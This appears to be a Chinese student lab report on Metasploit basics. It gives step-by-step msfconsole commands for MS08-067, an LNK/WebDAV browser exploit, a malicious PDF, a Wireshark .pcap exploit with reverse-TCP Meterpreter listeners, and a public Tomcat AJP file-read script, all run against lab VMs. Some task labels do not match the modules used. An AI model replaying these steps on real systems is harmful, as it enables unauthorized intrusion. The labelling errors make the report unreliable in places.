20181202 网络对抗技术 exp6 MSF应用基础
目录
实践内容
实践原理
1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、 用户操作界面
- msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台 高效 功能强大
3、 MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
1.用自己的话解释什么是exploit,payload,encode.
exploit是工具,用来连接漏洞,将payload传送到靶机中
payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码
encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码
过程记录
任务一:主动攻击实践
ms08-067_netapi:自动化漏洞溢出攻击
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统, 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。
靶机:Windows 2000(IP:172.21.167.86)
攻击机:kali linux(IP:172.21.175.104)
-
两台主机可以
ping
通
-
输入
msfconsole
打开MSF控制台 -
输入
search ms08-067
查找,找到可利用的模块
-
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.21.167.86
-
在msf中输入
use exploit/windows/smb/ms08_067_netapi
启用该模块 -
输入
info
查看靶机适用范围。
- 输入下列参数:
set payload generic/shell_reverse_tcp
选择攻击模块set RHOSTS 172.21.167.86
设定靶机IP地址set LHOST 172.21.175.104
设定攻击机IP地址set LPORT 5308
设定端口set target 34
设定目标机版本,刚才列表可见靶机windowsXP sp3为target 34
- 输入
exploit
进行攻击,获得靶机控制权后可正常输入cmd命令,攻击结果如下:
任务二:一个针对浏览器的攻击
-
实现:ms10-018
-
攻击机:kali 172.21.163.26
-
靶机:Windows xp sp3 172.21.167.86
-
payload:
windows/meterpreter/reverse_tcp
-
首先查看浏览器漏洞:
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
-
输入
ls
即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
-
进入控制台:
msfconsole
,使用:use windows/browser/ms10_046_shortcut_icon_dllloader
,set payload windows/meterpreter/reverse_tcp
-
查看一下这个漏洞的作用:
info
-
此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
show payloads
set payload windows/meterpreter/reverse_tcp
set LHOST 172.21.163.26
exploit
-
在靶机用浏览器打开生成的链接:
http://172.21.163.26:80/
-
查看会话: sessions
-
选取会话: session -i 1
任务三:一个针对客户端的攻击
-
实现:Adobe
-
攻击机:kali 192.168.248.128
-
靶机:Windows xp sp3 192.168.248.129
-
使用:
search adobe
查找Adobe漏洞
-
使用:
use windows/fileformat/adobe_flatedecode_predictor02
使用漏洞 -
payload:
windows/meterpreter/reverse_tcp
-
设置相关参数
set RHOST 192.168.248.129
set FILENAME 20181202lym.pdf
exploit
- 将生成的文件复制之后导入靶机中:
cp /root/.msf4/local/20181202lym.pdf 20181202lym.pdf
- 在靶机中使用双击打开
20181202lym.pdf
,攻击成功
任务三(与大家不一样的一个):CVE-2020-1938
2020年1月6日,国家信息安全漏洞共享平台(CNVD) 发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。 该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。利用方式属于文件包含漏洞。CNVD对该漏洞的综合评级为“高危”。目前,厂商已发布新版本完成漏洞修复。
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。此漏洞为文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
受影响范围
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
配置环境
JDK
默认已经安装
tomcat 8.5.16
-
下载解压包后自己解压到自己选择的位置
-
打开:我的电脑-右键属性 -高级系统设置-环境变量
-
添加变量
- **CATALINA_BASE ** C:UsersliyimingDesktopapache-tomcat-8.5.16-windows-x64apache-tomcat-8.5.16
- CATALINA_HOME C:UsersliyimingDesktopapache-tomcat-8.5.16-windows-x64apache-tomcat-8.5.16
-
点击path 编辑 新建
-
然后打开cmd 输入startup,tomcat启动
实验开始
-
查看win10主机IP
-
在kali中输入
172.26.45.82:8080
,可以看到tomcat页面
-
kali中通过namp进行端口扫描,开放8009和8080端口
-
使用Github上已经公开的EXP来复现。
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 172.26.45.82
- 成功读取到webapps下WEB-INF文件内容
任务四:成功应用任何一个辅助模块
- 实现:MS12-020(CVE-2012-0002)蓝屏攻击
- 攻击机:kali 192.168.0.116
- 靶机:Windows xp sp3 192.168.0.117
- payload :
windows/meterpreter/reverse_tcp
- 使用:
msfconsole
进入控制台 - 使用:
info
,查看漏洞具体信息(重点当然是description,必须是1.4.4以下版本的wireshark才行)
Description:
This module exploits a stack buffer overflow in Wireshark <= 1.4.4
When opening a malicious .pcap file in Wireshark, a stack buffer
occurs, resulting in arbitrary code execution. Note: To exploit the
vulnerability remotely with Scapy: sendp(rdpcap("file")).
- 设置相关参数
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
set FILENAME 1202.pcap //设置文件名
show options //查看设置
exploit //攻击
- 将生成的
1202.pcap
复制到Windows XP中 - kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
exploit //攻击
实验感想
本次实验内容较简单,把一些看似没有关联的知识点连接起来,巩固了自己的知识体系。
但是叭,这个环境也太难了,得找到合适靶机才能实验成功,这也体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。
但是离真正时间还有一定距离,很多都是在特殊环境下执行的,对靶机要求很高,不具有灵活性。